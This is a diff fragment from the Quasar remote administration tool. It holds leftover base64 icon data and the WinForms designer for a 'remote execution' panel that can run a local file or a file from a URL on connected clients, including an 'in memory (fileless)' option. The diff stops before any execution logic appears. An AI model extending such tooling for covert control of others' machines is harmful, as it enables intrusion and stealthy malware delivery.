///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs new file mode 100755 index 0000000..08eaf7b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs @@ -0,0 +1,267 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRemoteExecution + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteExecution)); + this.btnExecute = new System.Windows.Forms.Button(); + this.txtURL = new System.Windows.Forms.TextBox(); + this.lblURL = new System.Windows.Forms.Label(); + this.groupLocalFile = new System.Windows.Forms.GroupBox(); + this.btnBrowse = new System.Windows.Forms.Button(); + this.txtPath = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.groupURL = new System.Windows.Forms.GroupBox(); + this.radioLocalFile = new System.Windows.Forms.RadioButton(); + this.radioURL = new System.Windows.Forms.RadioButton(); + this.lstTransfers = new Quasar.Server.Controls.AeroListView(); + this.hClient = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.chkUpdate = new System.Windows.Forms.CheckBox(); + this.chkInMemory = new System.Windows.Forms.CheckBox(); + this.groupLocalFile.SuspendLayout(); + this.groupURL.SuspendLayout(); + this.SuspendLayout(); + // + // btnExecute + // + this.btnExecute.Location = new System.Drawing.Point(441, 574); + this.btnExecute.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnExecute.Name = "btnExecute"; + this.btnExecute.Size = new System.Drawing.Size(172, 29); + this.btnExecute.TabIndex = 6; + this.btnExecute.Text = "Execute remotely"; + this.btnExecute.UseVisualStyleBackColor = true; + this.btnExecute.Click += new System.EventHandler(this.btnExecute_Click); + // + // txtURL + // + this.txtURL.Location = new System.Drawing.Point(70, 31); + this.txtURL.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.txtURL.Name = "txtURL"; + this.txtURL.Size = new System.Drawing.Size(399, 26); + this.txtURL.TabIndex = 1; + // + // lblURL + // + this.lblURL.AutoSize = true; + this.lblURL.Location = new System.Drawing.Point(25, 35); + this.lblURL.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblURL.Name = "lblURL"; + this.lblURL.Size = new System.Drawing.Size(37, 19); + this.lblURL.TabIndex = 0; + this.lblURL.Text = "URL:"; + // + // groupLocalFile + // + this.groupLocalFile.Controls.Add(this.btnBrowse); + this.groupLocalFile.Controls.Add(this.txtPath); + this.groupLocalFile.Controls.Add(this.label1); + this.groupLocalFile.Location = new System.Drawing.Point(15, 44); + this.groupLocalFile.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.groupLocalFile.Name = "groupLocalFile"; + this.groupLocalFile.Padding = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.groupLocalFile.Size = new System.Drawing.Size(599, 94); + this.groupLocalFile.TabIndex = 1; + this.groupLocalFile.TabStop = false; + // + // btnBrowse + // + this.btnBrowse.Location = new System.Drawing.Point(478, 29); + this.btnBrowse.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnBrowse.Name = "btnBrowse"; + this.btnBrowse.Size = new System.Drawing.Size(94, 29); + this.btnBrowse.TabIndex = 2; + this.btnBrowse.Text = "Browse..."; + this.btnBrowse.UseVisualStyleBackColor = true; + this.btnBrowse.Click += new System.EventHandler(this.btnBrowse_Click); + // + // txtPath + // + this.txtPath.Location = new System.Drawing.Point(74, 30); + this.txtPath.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.txtPath.Name = "txtPath"; + this.txtPath.ReadOnly = true; + this.txtPath.Size = new System.Drawing.Size(395, 26); + this.txtPath.TabIndex = 1; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(25, 34); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(40, 19); + this.label1.TabIndex = 0; + this.label1.Text = "Path:"; + // + // groupURL + // + this.groupURL.Controls.Add(this.txtURL); + this.groupURL.Controls.Add(this.lblURL); + this.groupURL.Enabled = false; + this.groupURL.Location = new System.Drawing.Point(15, 201); + this.groupURL.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.groupURL.Name = "groupURL"; + this.groupURL.Padding = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.groupURL.Size = new System.Drawing.Size(599, 94); + this.groupURL.TabIndex = 3; + this.groupURL.TabStop = false; + // + // radioLocalFile + // + this.radioLocalFile.AutoSize = true; + this.radioLocalFile.Checked = true; + this.radioLocalFile.Location = new System.Drawing.Point(15, 15); + this.radioLocalFile.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.radioLocalFile.Name = "radioLocalFile"; + this.radioLocalFile.Size = new System.Drawing.Size(128, 23); + this.radioLocalFile.TabIndex = 0; + this.radioLocalFile.TabStop = true; + this.radioLocalFile.Text = "Execute local file"; + this.radioLocalFile.UseVisualStyleBackColor = true; + this.radioLocalFile.CheckedChanged += new System.EventHandler(this.radioLocalFile_CheckedChanged); + // + // radioURL + // + this.radioURL.AutoSize = true; + this.radioURL.Location = new System.Drawing.Point(15, 172); + this.radioURL.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.radioURL.Name = "radioURL"; + this.radioURL.Size = new System.Drawing.Size(138, 23); + this.radioURL.TabIndex = 2; + this.radioURL.Text = "Execute from URL"; + this.radioURL.UseVisualStyleBackColor = true; + this.radioURL.CheckedChanged += new System.EventHandler(this.radioURL_CheckedChanged); + // + // lstTransfers + // + this.lstTransfers.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstTransfers.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hClient, + this.hStatus}); + this.lstTransfers.FullRowSelect = true; + this.lstTransfers.GridLines = true; + this.lstTransfers.HideSelection = false; + this.lstTransfers.Location = new System.Drawing.Point(15, 302); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstTransfers.LvwColumnSorter = listViewColumnSorter1; + this.lstTransfers.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstTransfers.Name = "lstTransfers"; + this.lstTransfers.Size = new System.Drawing.Size(598, 264); + this.lstTransfers.TabIndex = 4; + this.lstTransfers.UseCompatibleStateImageBehavior = false; + this.lstTransfers.View = System.Windows.Forms.View.Details; + // + // hClient + // + this.hClient.Text = "Client"; + this.hClient.Width = 302; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 173; + // + // chkUpdate + // + this.chkUpdate.AutoSize = true; + this.chkUpdate.Location = new System.Drawing.Point(225, 579); + this.chkUpdate.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.chkUpdate.Name = "chkUpdate"; + this.chkUpdate.Size = new System.Drawing.Size(195, 23); + this.chkUpdate.TabIndex = 5; + this.chkUpdate.Text = "Update clients with this file"; + this.chkUpdate.UseVisualStyleBackColor = true; + // + // chkInMemory + // + this.chkInMemory.AutoSize = true; + this.chkInMemory.Location = new System.Drawing.Point(15, 144); + this.chkInMemory.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.chkInMemory.Name = "chkInMemory"; + this.chkInMemory.Size = new System.Drawing.Size(198, 23); + this.chkInMemory.TabIndex = 7; + this.chkInMemory.Text = "Execute in memory (fileless)"; + this.chkInMemory.UseVisualStyleBackColor = true; + // + // FrmRemoteExecution + // + this.AcceptButton = this.btnExecute; + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(629, 618); + this.Controls.Add(this.chkUpdate); + this.Controls.Add(this.chkInMemory); + this.Controls.Add(this.lstTransfers); + this.Controls.Add(this.radioURL); + this.Controls.Add(this.radioLocalFile); + this.Controls.Add(this.groupURL); + this.Controls.Add(this.groupLocalFile); + this.Controls.Add(this.btnExecute); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.Name = "FrmRemoteExecution"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Update []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteExecution_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteExecution_Load); + this.groupLocalFile.ResumeLayout(false); + this.groupLocalFile.PerformLayout(); + this.groupURL.ResumeLayout(false); + this.groupURL.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btnExecute; + private System.Windows.Forms.TextBox txtURL; + private System.Windows.Forms.Label lblURL; + private System.Windows.Forms.GroupBox groupLocalFile; + private System.Windows.Forms.TextBox txtPath; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.GroupBox groupURL; + private System.Windows.Forms.RadioButton radioLocalFile; + private System.Windows.Forms.RadioButton radioURL; + private System.Windows.Forms.Button btnBrowse; + private Controls.AeroListView lstTransfers; + private System.Windows.Forms.ColumnHeader hClient; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.CheckBox chkUpdate; + private System.Windows.Forms.CheckBox chkInMemory; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.cs new file mode 100755 index 0000000..fce2db8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteExecution.cs @@ -0,0 +1,241 @@ +using 